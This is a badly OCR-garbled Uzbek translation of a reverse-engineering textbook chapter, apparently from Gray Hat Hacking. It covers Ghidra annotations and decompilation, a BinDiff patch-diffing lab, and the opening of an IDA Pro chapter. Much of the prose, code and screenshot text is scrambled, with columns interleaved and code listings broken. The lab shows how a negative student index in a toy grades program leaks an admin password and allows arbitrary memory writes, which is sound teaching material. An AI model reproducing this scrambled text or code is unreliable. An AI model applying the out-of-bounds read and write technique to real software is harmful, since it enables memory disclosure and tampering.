External Reference, Instruction, D?wf' e l{nfi'fr;]m, M.It-t';I G znu :q :::n
etish orgali dasturning turli gismlarini tgzd:a Lnbns‘ l:a 05 I;Z “gi :D;n;l:it El‘]a ;1
Yon panelni sichgonchaning o‘ng tugmasi bilan bosish va g anlas

orqali rang bilan kodlangan havolani ko'rishingiz mumkKin.
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I Function |
B unntialzed

min entropy (0.0)
External Reference - uniform byte value
I Instruction
M Data
B undefined | I
|
- utfle
| Dvsmiss | |
I - ascli
- %86
| |
- Compressed
|  ™axentropy (8.0)
_nﬁ*

. Qidiruy (s
Ghid xsus ikkilik (b; earch)
; hidra maxsus 1I<k11I|]»_. (binary) shablonlam; dast idagi i

gilarni, funksiya nomlarini, izohlarni » dastur kodidagi matnni, bel-

*:Iidiru:u' funksiyasini taqdim etad; +mi qidirish imkonini beruvchi
onl, bt v g L Kl b
oxirid ; SRiEIGn et} Nazar). Ushbu funks; al o mwﬁm. ml.d” qli.d :
xiridagi amaliy mashqlarda korih chigiladi Siyalarning ba'zilarj bobning

Dekompi .
Dekompilyatsiya (Deco ompilyator (Decompiler)

£ : mpile) funksiyas; _
ga ajratilgan kodning C ko*rinishini laqdijr;l frlt:d";vyerda ko*rsatilganidek, gismlar-

L ]

-0 x HH‘M kb

vale LuttStugentsl) {
print#{ \r 1}
r {ym g i | ® count >
; o L
|lf BrIntIl % miuagie | g SRt
- rn:ttlt.grﬂnj: v by el 1] name, 5y

T =

Kompilyatsiya gilingan ikkilik kodni asl matnga gaytarish mumkin bo*Ima-
sa-cla, dekompilyator dastur kodi bilan ifodalangan mantigni yaxshi tiklashga
imkon beradi.Bu xususiyat yangi va tajribali teskari muhandislik amaliyotchila-
ri uchun juda foydali, chunki u murakkablikni kamaytiradi va dasturni o*gishni

yaxshilaydi.

Dastur izohlari (Program Annotations)
yaxshilashga, aniglik kiritishga va o‘rnatilgan dasturda ba-

[zohlar o*qgishni i ] a b
am beradi. Izohlar dekompilyatorning natijaviy

jarilgan ishlarni kuzatishga yord
chigishiga ham ta’sir qiladi. _ _
Ghidra ko'p turdagi izohlarni taqdim  etadi.
ba’zilari:
« Sharhlarda maxsus eslatmal

Bu yerda eng muhimlaridan

ardan format satrlari sifatida foydalanish mum-
Kin. Ular satr manzillari, belgilar, URL manzillari va boshga formatlar kabi

i : e ali natijaga ta'sir giladi.
Qiymatlarni belgilash orqali natijaga » ) i g ,
. D‘yuqnn}hihming izohlari o*zgaruvchining belgi nomini, ma’lumotlar

ini R iri imkon beradi.
lurini va saglash joyini o zgnmnshga im : R .
. Yl.&rIia?lamijq;ym qomlash (label renaming) kodingizni yaxshiroq tushunish
uchun yorliq nomlari va tavsiya etilgan nomlarni 0 zglarél_ﬂ:‘:hg‘ﬂ’_ u;::tla;:eram, B
* Funksiya izohlari (function annotations) qaytartiac igan qiymatning nomini,
imzosini r:haqin;n' konvensiyasini va ma’lumotlar turini o*zgartirish uchun ishla-

tilishi mumbkin.

e {Gmphﬁld‘ Ba’ bajarilish j
- 1 arafik xususiyatlarini taqdim v:‘u} i. Ba'zan baje |.| jarayo-
ni tgli:irrilz::c;:lag?:h bo*lishi mumkin va gramt.._:;lalrmz‘]l:z‘a ili.:fllat:il !u;sli:t
nish imkonsiz vazifa kabi ko*rinishi F‘Pmkm';ﬁ.; au;];r:annqc?qlanisi boshoe-
lar) va girralardan (yoki nazoral oqimi) iborat 4 1 L:si i v th ﬂ:nasidﬂgi
ruv oqimi, sikllar, havolalar vd hatto dnsufrdagl i =
2 3 dam beradi.

Munosabat]ari tushunishga yor

gra?iiklam}ig{igj‘:}‘:r?;ﬁﬁg:i tanlangan kod bloklari orasidagi ogimlarni
qim grafik

i i iradi.
Gt L o . o*tishlarni) aks ettiradl. .
{mw{?{;nawmSIEIlllfllkm;:g‘ilzh:;;;isllari Funksiyalar orasidagi qo‘ng‘iroglar ket-
laqiruy gralis

Ma-ketligini ko‘rsatadi. akli grafikni tanlash nrqa_li tanlangan I-:L?d ynki
; Grafik menyusiga 0'11S 1. Grafik menyusi quyidagi vositalamni
unksiyalar grafigini yaratis
0°Z ichiga oladi:

1. Asboblar paneli (100
Parametrlar ko*rinishini yang

hh va ker i
hingiz mumki

amalarga tezda kirish va grafiklar va boshqa

&

ar) sozl la ‘
]bilas}h imkonini beradi.




2. Grafik ko‘rinishi (Graph v
shirish uchun barcha bloklarni (cho*qqilarni) va o

iew) bu oson navigatsiya, guruhlash va tek-
qimlarni (girralarni) ko'rsata-

‘ qgonchani aylantirish g'ildiragi yoki trek
paneli yordamida kattalashtirish va kichraytirish mumkin.

_ 3 Sun’ly yo'ldosh ko‘rinishi (Satellite view) barcha grafik bloklarning
kichik xaritasini ko‘rsatish orqali diagramma bo'ylab tezda harakatlanishga yor-

dam beradi.
¢-*- Glh:!tr'l'!- »
(n P, Gl AR T T A ey
o . '..J I I 1 s - g

Shuningdek, grafiklarn; CSv,
ko*plab grafik va ma’lumotlar form i

Laboratoriya ishij 4 1: 1zohl
. . Az ar yordami i
. 'h_"alr:gl boshlovchilar ych ' uﬁiand?:lﬁﬂi:nu‘

qismi bu turli pa ‘ ;

tuSIrlunmasnkdirpr 'I{z:;fm'lfr va mar ar qiymatlari nimani anglatishini aniq
ey 1 X1l registr giymatlar; sozlamalari, xotira ofsetlari. korsat-
g | owalari va funksiya argumentlari uchyp knnteksl" h
mot ;u' tuj?ndan t0"g’ri foydalanish bilan b
1z allagachon bilganingizdek, kom
: Pyuter arxitekturasinine i ?
astimbtc ey eKlurasining ishlash vaq

ular dastyrjash vaqtida fagat dasturiy

juda asabi la
S Juda asabiy va noqulay

i ma’ lumotlar turlarid

, D

A

ta'minot ishlab chigaruvchisi uchun tegishli bo*lib, kumpi_lyamr tnr_nc?mdalil xun;a
taqsimmi-.;rini struktura a’'zolarining ofsetlarini, massiv mdeli\sl_?n;: va kompi
; ida | : i 0*zeartirish uchun foydalaniladi.
‘atsiva paytida boshga sozlamalami 0 & btk
: i!!:][:‘ :;n-mhn I-:ﬂ?iini quyida ko‘rsatilgan LoadStudents funksiyasi uchun
; anbsz 3

. T T lishtirilsa, dekompilyatsiya funksiyasi-
stand: skompilyatsiya tasviri bilan so : et :
ni Ih;glltiitiul; lgpl}";ﬂ‘ﬂii mumkin. Asosty funkﬂ_i}“i{di_lgi ’-'I‘llr’lj';ﬂ”nga ma’lumotlar
turlarin‘i belgilash orqali talaba dasturining o*qilishini yaxshilaymiz.

O % CjDecomple Ladiiudents - Iitadetsl G - X

[FErL T

0t gount

VOLE LoagStusentsl]) | F
sl nt )*
Femet [Bstudents, |, oirsff3TLeE ¥ '

FILE of fopen
Lt |
printii
n )
exstf )

}

ehar line!

g feounis ; count € peid
1-'“.“\1:'. LAY Bline)s
char sco=a = strehrilire,
tomal | i :

] studentsfcoLnt]. g ¢+ ceunti

H
.name, Lire, r
ﬂrntp'tlxltcrnh[td'"'-'-II“‘N:I:“#-‘I I

s tleetlil; coerierd

LH

—

studerts[count | .grades
I
felosel )}

1.1

o*zgaruvchisini 1 ga oshiradigan

‘hda hisoblagich £ ety -
. 1 ir takrorlashda MSODEAS ‘lean Student global o*zgaru
P Manba kodi har bif l:?glanﬂa|1 massiv tipida bo‘lgan
or siklini ko*rsatadi, u a -

: ishli yig‘ish kodining kompil-
a1 Twohdan oldin tegis i - .
‘hicion i 44 ishlatiladi. [zoh el vchisini 0x20 ga ko' payti-
"hmfga 1:}([::1-;5 mi’aud:’l lShslt:i indeks hisoblagich 0 z-g;;:mvchi N e
Yﬂ‘{“}'a gilingan C kn_ rlmk mpilyator ham har‘bur 0 -]_a et g, b s
Iﬂdll. Bundan lashl.':':ll'fa faﬁna%“ qiymatga hfrbl:[:s:ﬂ::?di "
Urlarini bilmaganligt sababih rakka R Wt ‘0.
Manba kodini e ilishini yanada M ilan o‘zgaruvchilami O LI A0 20
a kodining 0'q turi izohlari bilan lik bilan yaxshilash mumkin.Ta-
To'g'ri ma’lumotlar }‘I orqali o*qishni 0s0f! hun biz hagiqiy teskari dizayn
"uvchilar nomini o*zgartinish kodi yo'ds 5]1}1 e u;;;n ke-::hirish mumkin. Ushbu
Savvur gilaylik, bizda mantl:;qa gan ssenariyni bos
Paytida kutilgan eng keng tara==" ksiyasiga otin
. aring: . [.oadStudents funksiyasig g
9adamlarni kctma—k}:l[l:‘ii?j?éa qidirish orgali L““.ya oynasiga o‘ting,Ushbu ja-
1. Symbol Tree ko'rink:

lish uchun Dekompilyats!
< 103
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rayonda o*zgaruvchilar nomlari, ma’lumotlar turlari va funksiya imzolari kodda
bog*langan amallar va funksiyalarga qarab o'zgartiriladi. O*zgaruvchiga qandil;l'
yo'naltirilganligi va hisoblagich (count) indeks 0'zgaruvchisiga kﬂ'pa}flirilg:m..:.-
(0x20) ofsetlari tayinlanganiga asoslanib, biz bu massjy ekanligini bilamiz. Ofset
yonidagi ba'zi qiymatlar quyida ko'rsatilgandek o rmatiladi:

I 1
x| =
" (int *){.- - H-:-n;} . 20 b D } = : = | l ]
strncpy( + (long) . ; . Dx18): el NI r.!_
= atoi( + 1): [
*{int *){ % *+ (long) [ - Y -

* 25-qgator ofsetdan 24 (0x18) bayt butun sop qiymatini o*ynaydi (hisob *
32), shuning uchun uni butun son giymatiga (int *) ko*rsatgich deb taxmin qilish
mumkin. Nom “id” bo‘lishi kerak, chunki y hisoblagich indeks o*zgaruvchisidan
o matiladi.

* 26-qatorda stracpy funksiyas; talabaning
faylidan o‘qilgan asosiy ofsetga (hisoh *
ma’lum o‘lchamdag; belgilar massividir,
shimiz mumkin, chunki bu yerdg oldingi
strukturasining a’zosini (char [24]) ustiga
a’zosini “nom” deb ataymiz,

* 28-qatorda iVar] byt ¢hi CSVdagi baholar qiymatiga
chaqir_iladignn atoi funksiyasidan O'rnatiladi, S0°ngra asosiy ofsetdan Ox1c ofsetga
ak, buni ham butun son deh faraz gilaylik. Bu talaba-
ning “baholash” strukturas;i clementidir,

2. Endi Talaba massivining

ISmiga mos keladigan satrni CSV
32) ko‘chiradi, shuning uchun u no-
Birog biz uni 24 bayt deb taxmin gili-
qi}’malning ofseti Joylashgan va u 0'z
Yozmasligi kerak. Biz ushbu struktura

Kerak.

. S g clementlari uchyp maxsus Talaba strukturaning
malumotlar turini aniglash mumiin, Ma’lumotlar tyri menejeri oynasiga o*tiladi.

Talsza ma‘lurn?otlar turlarini o*ng tugmasini bosilip, yangi pastki menyuni tanla-
nadi va “Tuzilish” tugmasi bosilad;.

a. Student strukturas; mi

b. Jadvalning birinchi qatoriga o‘tib (of: e
bosiladi va char [24] Kiritiladi. i
Nom (name)nj Kiritiladi,

¢. Ikkinchi satrda (ofset 24) DataType maydonj
o matiladi,

d. Uchinchi qatorda ham xudd
maydonini baholar (grades)ga o

€. Agar Struktura mu
bosib,oyna yopiladi,

HH}

int va Name maydoni id ga

1 shunj takrorlanad;
rnatiladi.

harriri oynas; 4.2-ras
Endi struktura foydalani

(ofset 28) va “Nom™ (name)

Mga o'xshasa, saglash belgisini
shga tayyor,

i b

3. Kursorni Studentl g}na.zg

Va uning ma’lumotlar IET: o'y

St .

O"Zgartirish uchun CTR S e

i 32 ga 1en . - .

da, 1024 32 ga bo'linganda 32 ga teng fara kontekstga g
4. Qolgan o'zgarus 3

> . «chisi

Masalan, local_200 zgaru‘m]d: s

Uchun y FILE *ma’lumotla 2

) e C¥ on
a. Uning turini | IL}:. £
b. O*zgaruvchi nomin! a
- R ne v
O'ng tugmachasini bosing
“0'zgaruvchining nom 5
C. Qo'ng'irogm fﬂpﬂ:'"a
& o = : bl . l
tugmasini bosing, “Funks }:w'mi v
IMzosin; o*zgartiring.

FILE * fopen (char *

serani ko rsatuvehi
i strukturani ko

. Amaldagi s
4. 2-rasm. .

‘iri oynasi
Syruktura muharvirt oyna

S i i
isining istalgan nusxasiga q
mm:‘::;edjlwlsl]dan Student|32]ga
Zning strukturamiz 32 o‘lcham-

al o‘zgaruveh
aruvchi (undel
larini bosing (bi

; (siya
chilar va funksiyalar
chila fopen funksiy
a o‘matilish

i natijasida o‘matiladi, shuning
ﬂs ® o - 4 -
i va uning nomi fh kabi bo‘lishi

ini bosing.
L-L tugmalarini g
e [::}Rhnsing yoki sichqonchaning
dgi? ni fh ga o‘zgartirish uchun

o* zgartirish uc
¥

tanlang va L W& nomi

1‘zgaruvcl'n|1|n5

& T

. e RS ﬂﬂg

i o zgartirish 1! 'lﬂ';* oldini

ini 0°Z€ uborishning o

Y ahrirlash™nt

h turlart

olish uchun funksiyani o*ng
tanlang va agar kerak hﬂf I-
ni o‘rnatish uchun funksiya

imzosini 1t

" mpdfﬁ]
fiename. char * —
|

punciion Attributes:

{1!‘15




Agar standart funksiyalarning imzosi

nuqtai nazaridan kodni o*zaro bog'la-
terminal oynasida man 3 fopenni ishga tus

R imi
hirish orqali dasturchi qo*llanmasidan rnyd(;}}idir, ammo bu kontekst va 1jro 0g
; naydi, i
foydalaning. . shivamki. aiovib BinDifl vo
Ushbu jarayon tugallangandan s0°ng, quyida ko'rsatilganidek, dekompilyat- ‘ ?’““‘_I“F dmlt‘i-agfi:jru imkoniyat
siya gilingan va demontaj qilingan kodning o'qilishi sezilarli darajada yaxshilan- m‘ @ ma“s,!" ,ﬂrflfl | allarni bajaring:
ganini sezishingiz kerak.Bundan tashqari, izohli 0"zgaruvchilar, funksiyalar va uchun quyidagi ama

¥ : 1 6.5 versiy
. - Rl Automation Too
ma’lumotlar turlariga havola qiladigan barcha boshga funksiyalar ushbu harakat- l_. (;mdlu.. Build m

dan foyda oladi. orgali o*rnating:

’ . . ] ikeali kuﬁ.l'-jr'f
ML L 5 "ol E:

. b - N P ¥
- wger fiips: services. g

sitasi uchun BinDiffHelperl kal‘_:i plagin[ar-
larini kengaytirish imkoni mavjud. Buning

asini quyidagi buyruglarni bajarish

E | ] = I”'._l:p
A c P=2

y 4 Ii'” IIH" “J”.: L” "i-”l- 6.. J‘J‘th!ﬂ” h‘l E

| ".i"!t-.l‘.”}, ”‘I I

< actone-2-bin.zip -d ‘opt
&& sudo unzip gradie-6. S-milestone-2

.III ﬂ =

i i ilish.
gt h va kompilyatsiya qi
s Ey laginini klonlas Sl ini avtomat-
: . ’ nE.\p!C'l'T-2 plas v i tish jarayonini avton
x U Iﬁr Rusml}fl ?H:mef:lnt':ilar ma’lumotlar bazasini yaratisii]
i stibu plagin BinExpc

lashtiradi:

i . ot E—r&uh‘ kalir-{~] ) _branch=master :
e % nemnat § gir clone --single --u’:'p_:.‘i !”” st
.-:: -:1 :| ::' g . i h”.ﬂ_t,-. T.,'FI””ilh.t'l‘”” .’-.'””.E‘lf"' h”“'.'q" :
i bi inExport dd .
¥ hin/gradie | y .
R T"jn'dm 9.2.3 PUBLIC

| Mg . cd ~ hinexport java B
Awi w  MEE e ; . opt gradie-6. 5-milesione-
T I iy S e -PGHIDRA INSTALL _DIR

mumkin. Shundan so*ng,

iqa vaqt uIisI!i_ ; <
Kn]ﬂpiI}'dl‘:i}“ljﬂfi]}'ﬁni bir ﬂCCh;Ej:Eliﬂﬂ p]aginlnlﬂg ZIP ra}"il yaratihshi
alsive E:

“fhincxpunfjav&fﬂi"Exp“” jildida
kerak

3. Ghidra loyihasi oynast o
gin zip faylini Hfhi““xp?r”“.”
40°shish belgisini (+) bosing:

Laboratoriya ishj

i o‘rnating va pla-
. " tmani o'matung va p

1 |-ga o'ting Kengay /e © tilganidek
ida Fay IEI ;‘:}r” dist jildiga quyida ko'rsatilg
a/BinkX

4.2: Binar far
(patch) tahiil;
so°'ng, ishlab chj
nashr gilishni bog
£an xato haqgida bata

qlash va yamog

Zaifliklar aniglangandan
zatishni va yangilanishlarni
o°zgarishlar jurnali wzati]

Qaruvchilar 0z mahsulotlarini tu-
hlaydilar, Ba’zida yangilanishdag!

. . fsil ma’ o avdi 3
va o"zgarishlami tushunish va ekspluatatsiyalamn; riwj::lr':i(:-::; chh:;:‘llleﬂtn;iq : protoc 523
lash zarur bo*ladi. — T Description — d""“en‘m:_:,:,:-!r:d ik :: :: ;
U.sh_hu laboratoriya ishj ikkilik fay| diffuziyasi orqalj talabalar ballarini v :;:‘:‘W ,,.p_h.su]r::f;;:z;, E';:-;:-::_:mw‘“““u“ ¥
boshqarish vositasiga 1a'siy qiluvehi zaiflikn; aniglashga grd abl 3 {;{r | Grubisasseriies o cote :T;-o:::"’“‘g and Mo g ex.. 923
Zaiflikni faqat kodni 0°rganish orqali aniglash ﬂ&nnl” hofll":i_ radi. iy | ::Z:mtdbwwn HJTFJL;;:_::ja e developm®
ssenariyni yaxshirog modellashtirish uchyg fagat ikkilik Sl 2 '-kE}Iijn qkiﬂ' U Mg e sleg
ligini ham hisobga olish kerak ayllarga kirish mum

ini bosing va Ghid-
A 0K tugmasimn
hi uchun

“[lanilis
4. Plagindagi u*zgarishlar qo'l

I irish i i : i "8-nj qayta ishga tushiring-
1kod fargj funksiyasini taqdim eta- e
J”ﬂ}




e & . . )i Y L . . v . nd!
5. Terminal oynasida BinDiff v6'ni rasmiy veb-saytdan yuklab oling va New Plugins Fou
o‘rnating:

I_—r.‘mh‘ kali)-f~]
S wget hitps./’storage googleapis.com bindiff-releases bindiff 6 amd64.deb
L5 sudo dpkg -i bindiff 6 amd64.deb

suco apt-get install -f

' igure them?
@ New extension plugins detected. Would you like to configu

[yes ] (0
.deb paketini o‘rnatishda sizdan DA Pro’ga yo'l so‘raladi. Eksperimen-
tal Ghidra kengaytmalariga qizigishimizni bildirish uchun bu maydonni bo‘sh
goldiring.

6. BinDiffHelper plaginini rasmiy ombordan klonlash v

; hun “Ha” (
Yangi plaginlarni sozlash uchun
"OK™ tugmasini bosing:
L8 cd ~/ & git clone —single ~~depth=1 —-branch —— E
htips.github.com/ubfc/BinDiff1 lelper & &
cd ~/BinDiffHelper & &
‘apt/gradle-6. 5-milestone-2, bin‘gradie

ilisl “yes™)ni tanlang va keyingi oynada
a kompilyatsiya gilish:

— ~ Categony
: T pestnption s rpoanghun.. Anahss
-PGHIDRA_INSTALL_DIR=~/ghidra 9.2.3 pypLic i :::;;m_mw Thus plugn REFE
. . * u —'—'_'_'_'_._._'_-_._'_-_"_ B =
1 7. G_hlf_m :‘f’}f"“‘b'_gb’“kaﬂ‘dﬂ Fayl|-ga o‘ting Kengaytma menyusini o*rnating v ———
agin zZip raylin quyi (0" ileanidel —/M:aT: il R ASh |
plagin zip iaylini quyida ko‘rsatilganidek IB]“D”“MDurfd::;u';ﬂdlgu qo*shing. |Fiter. |
»I Me
: %
L. Hame [ Deseription Viersio AN
ﬂl_r, E:-I'IDI!THHFH Helns EMPOrting funcths Hen | J
Ing function namas ir n BiniDi | O |
W EmEsport & phugn for aeporting disy -'--.'F-‘-I:1=:I-r. o F-::-- : IT = . I
GriDrsassembler GNU Disatsambiler Evtansion i d-:-{r.-a-r:-d ul;:l' ey . i
"“m[':" . Sampie code for sstension -1.-.1-|:r-..-.. g s
SamplaTs leFlugin sample Plugan for creatu and man ‘,_, r:
SleighDevTools Sleigh linguage "IH.-:-I'.T.-:-:-r-r !L::z"fn.l.lgr:..il.r;r;it S

PRy ihani saglang.
F hirnng va ID]” &
|shg§ tl-l;sa far talabalar (students) dastur
us

|rz{’_‘}|]i .
10, Avtomatik tahlil lAUT:“"’:";l:;ng‘ lekin
1. 9 va 10-bosgichlarni 4XF . ching. Quyida ko‘rsatilgandek
fayli bilan in oynasint 0P L atish uchun sozlash
an, . viaHelper plagit Y2 }fb‘nfhilld‘m o‘rnatis
12. Window/BinDiffHelpe diff/bi

8. Qollaniladigan plagin 0"zgarishlari uchun Ghidra'ni qayta ishga tushiring.

i i e ‘Jint llllupurhln
0'g'ri BinDiff 6 ikkilik yo'lin'
Clgising bosing: o N o EO-N
Tkkilik diffuziya (Binary p;
Endi plaginlar o‘matildi, keling, ikkilit qim - Ing) : '
s 3 II ¥ 1 e | K : v m
laboratoriyani davom etizamiz: g ik diffuziya Jarayonini o*rganish orqall o WA
9. Student-patched TR ; i ) e
so'raladi: . ed dastur faylini Oching, Sizdan yangi kengaytmalarni topish e

/Lf}—m;"—_
108
/ :

< 109




L

13. “Taqqoslash uchun faylni ochish™ belgisini
patched dasturni oching.Endi har bir funksiya uchun o*
larini ko'rish kerak.Pastki qismidagi ViewStudentGr
import qilish katagiga belgi qo‘ying va “Tanlan
gisini bosing.

Patch tahlil

Asbob quyida ko*rsatilganidek.

o*rtasidagi farglarni siiiatac lewStudentGrades Iunksnyasudagl dasturlar

[ P — Ty ey

A
L3
=

N
L
-

i ya dekompilyatsivasin: (o " i
satadiki, atoi funksiyasidan fn}’dalang;ﬂlii;tdsfs SINI tezkor tekshirish shuni ko'r-
larni tahlil qilishda talabala

= oydalanuvchi kirite n ma’'lumot-
; E I qatori indeks;i &a
shiruvlari bo‘Imagan. Bu sh 9 indeksida (stude

uni anglatadiki, biz ista]

ra-:!arnini tanlashimiz mumkin, by h
lari tuzilmas; (Student datg

D

structure)sifatidg ko‘rib

bosish orqali students-
xshashlik va ishonch bal-
ades funksiyasiga o‘ting,
gan funksiyani import qilish™ bel- : L (i

Jovlashganligini payqashimiz mumkin. Bu ta

“Baholarni o*zeartirish™ (change grades) up.si;:,rasi me‘ﬂ' ?arnl 0'?5‘;‘_12;"
‘haholarini o‘zeartirish imkonini beradi. Ma Iur|?1 bo*lishicha,
bu zaiflikdan o'z foydamiz uchun Ih}'dalanishi‘n‘:iZ_ Illumkll‘lﬂgigﬂ"-;fi;:g::z‘ i};ﬂa
bol Table'ea o'ts: 1.;' -2 admin_password belgisini topsak, u 0x : se
e R laba massivining asosly manzilidan
q 64 bayt oldin.

foydalanilsa va talaba

bo*lsa, o*quvchilar

I:Stul:lunts array hase “ddresgi }{ﬂ;ﬂﬂlﬂiﬂﬂm anit Si aqidan
Agar “Baholarni ko‘rish™ (view grades) opstyas

¥ i ‘ladi?
ragami (student number)-2 tanlansa nima bo

138 =
l"_'—-(l'lﬂlj".:'- kala ]"I""]
$ JSslucenls

Grades Management
1} List students
?) view grades
1) Change grades
&) Exit

Fnter option: 2

fnter student number: 2

Num Name Grades 7
=2 - UltrﬁSStrSlP&sswﬁrd!

yord xotirasini Student'slnf!uumﬁ.‘
admin_PasSt T~ vnan strukturaning “nomi

P 1 "‘_{j"‘!{. P , S
Ko'rib turganingizde ko'rib chigsaks P  ekspluatatsiyasining primitivi-

tipid“gi o*zoaruvchi sifatida : Biz 0°qis . =
. S+ tachean bo'ladi.BiZ0 47 .atira giymatidan 24 baytni

{'j'dm':) pozitsiyasida Jﬁyi;ls:i«;iﬂha}’ﬂi moslashtirilgan xoura qiy

" topdik va endi har ganday 3=

‘i : a SR
9°qiy olamiz. _ 1 changesmdentﬂf . baho elementi qiymatini
Ammo bu hammasi emas- -

: jymati et
7 indeks qt¥ ; latadiki, 32 baytga
Zilmas; (students structure) uehu” huni ang

' ering. BU ® i ioyiza 4 bavt
= . =¥ bﬂ,[“ erl (= o lﬁtalgﬂn J{]}r]ga }r
qa"da}’ nazorat l.]ili!ihilﬂlzga b t; m 28 baytming
'englashiri ar ganday xour
shtirilgan har g¢

anzilidan
Yozish mumkin.

des funksiyasida talaba tu-

ulosa : : ivatlarini ko‘rib

: asasiyx-“““sw.aﬂ?n ESI:::}kE:;;ilnsh mumkin.

Ushbu bobda Ghidrammgkkﬂb "mvz‘tllﬂrﬂl 0 -rg?l-:kilik taqqoslash va patch-

Chiqild;, shunda yanada njurau‘qishni yaxslniash:ali - avzular ko'rib chigildi

thidry interfeysi, izohlar blli_'grﬂe an i‘ﬂ)’dal?“fs_hvazimjarini aﬂumaﬂa?:htiri.sh‘va

Ani tahj] qilish uchun .Ghl ari and.lShL'dra'ﬂi“E boshga kuchli va ilg*or
*hidra skriptlari yordamida o iyatlari kabi Gl

9gin tizimining cheksiz ‘“:'a qt ajrating

XUsusiyatlarini o° rganishgd <l T
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. Qo'*shimcha manbalar
Ghidra’s Embedded Help Press F1 or click He

log. Ip on any menu item or dia- 3-BOB. IDA PRO

Ghidra’s Wiki ghidra-src.urnghealShcel.luml

Recon MTL 2019 (by ghidracadabr
. a and emte
github.com/NationalSecurit i

Black HatUSA 2019 (by B
github.com/NationalSecuri

Ushbu bobda quyidagi mavzular yoritiladi:
yAgency/ehidra/ LrE} * Teskari muhund.islik_uchgn IDA Pro dastur
el Kni}él;tuln . :Imllfz! |L||¢5f'r{5i:ﬂl12ﬂ19.pd i *1DA Prﬂ:dfi navi g;usll}'uSI ;.
ty Agﬂnﬂw‘ghidr? Fl_mhs. Delikat) 1 * IDA Pro’ning xu;;umymlav va
alwiki/files/blackhat201 9.pdl * IDA pro vordamida dfbaglﬂglash

funksionalligi .
(muammolarni bartaraf etish)

Foydalanilgan adabiyotlar Belgivaning Hex-Rays kompaniyasiga

. BinDi : e Interactive Disassembler (IDA) Pro— BEIEEH - calile taras

il’lDlrﬂ'HE]PLl'. https_.ffgnhub.cc-m!uhﬁ:fﬂinDiﬂ‘l-[d : — clive Disasse S o*rsatiladigan, wﬂ?an muhandislik jara
2. BinExport, https://github.com/google/bine P gishli bo®lib, ular tomonican = riladigan va xususiyatlarga boy dasturiy
3. zynamics BinDiff, hups:ﬁwww.z}ﬂ!‘fami:::upm' Yonlarinj qn'IIah-qun-allm-'chl, kengayt b va tahlil gilish uchun ishlati-

areda aj ratis

com/bindiff_html, 8" minotdir, Mazkur dastur kodni gism! ashtiradi. IDA, shuningdek, IDA

o he bt ill
ladi vq tahliliy jarayonni sezilarli darujat_iﬂ Y a bo‘lgan tijorat mahsulotidir.
Hﬂ]‘nc va ]IJA Free L.]_l‘!i |nl.,ll'.]ﬂbil "’Ersl}rﬂlargﬂ fgu\;chii-ﬂr ham_lﬂml}ratl tﬂmﬂ“i—
IDA disassemblerlari oilasi Hex-Rays va foydalan

(i ilan faol go‘llab-quv-
! inlar va skriptlar bilan faol qo'
dan ishlab chigilgan koplab bepul pli?tunga}r;irish e

Yatlanad sa dastur ih"kSi““a“igi . ; irei vaqtda eng ilg’or va sa-
m““'“:}?Ii'!:ﬁlc;;‘;idl:ilr:di- Hex-Rays, Sh““f“fgd'::{ ra?;zl:rrg;md:.l Ushbu dekompilya-
Marali hisoblane: »x-Rays Decom ' (Jib, turli xil protsessor a itk
tor hnql::q-:ﬂr:ij:sl:l:js:nﬁerlargn pisbatan }’“l_ﬂr.ng.?; 1;I1jralib wuradi. Shu bilan birga,
lt'ralﬂ;'iﬂi]‘kcnﬂ qn‘llah—qm-'wtﬂash imknnigatiim:miv B il il yortug
- arini yanada
U teskari muhandislik jarayonlarin! ya
Cradi,

dasturi

kari muhandislik uchun m;j]:;bu"sﬂ'da- nima uchun
. Teska obil disasscmblerlar1:11dis“55mlhlcﬂarga Ghidra (IV
i Knl lplah bepul valm:qkﬂfakl? Bepul muqﬁ't:;di Tijorat alternativlari orasida
an IDA Pro’ni tanlas alar kiradi. o b b

’ i 4 22 vl . nugobillaming har bin

L‘Urhda' ko'rib chigilgan). l‘ﬂdﬂl'*-a . Jasturlar mav. lll:;iAE;u z;ninqg keng qo‘llab-quyv-
:Sd Binary Ninja va HDPP‘-:MSG ammeo jud plaginlar, skriptlar va

il — R —— o : ok, may, A
lo {]drﬂ]ﬂﬂﬂgi disassemble Hurﬂ'“"i' hunlngd;::;lm sazovor. U xavfsizlik tad-
I ‘rl

vit;ﬁnuvchi protsessor 3“:;;” pilan aloh! a ikkilik fayllarni tahlil qi]ishda
_*Nqa kengaytmalar miq ceng 4o ; taqdim etadi. Bundan tashqari, IDA
l'r’!:{l;d;m be.ru.digﬂn Sun-ﬁﬂﬂ_‘:'ﬂ:lz . ham mavju nalligi odatda cﬁeklang‘an
asturining bepul versty I 'crﬁiyﬂif;”'[’;hﬁ Micmsﬂﬁ patch Analysis plagin-
O'ladi. X V111 bobda IDA Ff:ﬂ;iigzn Zaiflikning ﬂﬂn zaiﬂikal;lé'ﬂi k?:.:;sq]:i;: F:::.r
ifli an o -
u:ﬁlg:lil:{:addagi a*zg_aﬁzll:ﬁiy;ga oga. Tuzatl aiflikl
iz shda muhim G

L
Gigoy hamjamiyati mnmmdaﬂ_ xu;usiyﬂllﬂf'"l “|ib, ularning eng so‘nggisi IDA
Jari han 1o funksio
‘U hisoblanadi. Birogbu beP¥ ,avjudligini ko rsatishi mumkin
arfda“ foydalangan holda: W% . 11 1 di. Bu J2




,ff;

dalanish hujumkor xavfsizlik operatsiyalarida samarali va kuchli texnikalardan
biri hisoblanadi, chunki zaiflikni bartaraf etish Jjarayonida yuzaga keladigan tafo-
vutlar hujum nuqtalarini aniglash imkoniyatini beradi.

DisAssemblerlash nima?

Birinchidan, mashina kodini Qismlarga ajratish Jarayonini ko‘rib chigamiz.
Garchi kitobning boshga bo*limlarida bu jarayon turli xi| usullar orqgali yoritilgan
bo*lsa ham, ushbu bobda DisAssembler (qismlarga ajratuvchiing asosiy magsa-
dini tushunish alohida ahamiyatga ega. Ushbu misol doirasida Gr;y Hat Hacking
kitobining 6-nashriga tegishli git omborini klonlashdan oldin, ~/GHHv6/ch05
papkasida taqdim etilgan myAtoi dasturining kumpilyalsiya qilingan versiyasidan
foydalaniladi. Bu dastur kompilyatsiya qilingan holda Jarayonni tahlil qilish va u
bilan bog‘liq amaliy mashqlarni bajarish imkonini beradj. Kali Linux operatsion
tizimida o‘rnatilgan objdump vositasidap foydalanib, myAtoi dasturining main
funksiyasining birinchi sakkiz qatorini gismlargg ajratish uchun quyidagi buyrug-
larni bajarish mumkin. Bu yerda -j bayrog'i tegishl; bo*limni tanlash imkoniyatini
beradi; ushbu holatda .text yoki kod Segmenti tanlanadi, - bayrog*i esa disas-
sembling (demontaj qilish) jarayonini belgilaydi. <main>: qatori qi:iil‘i]ih, undan
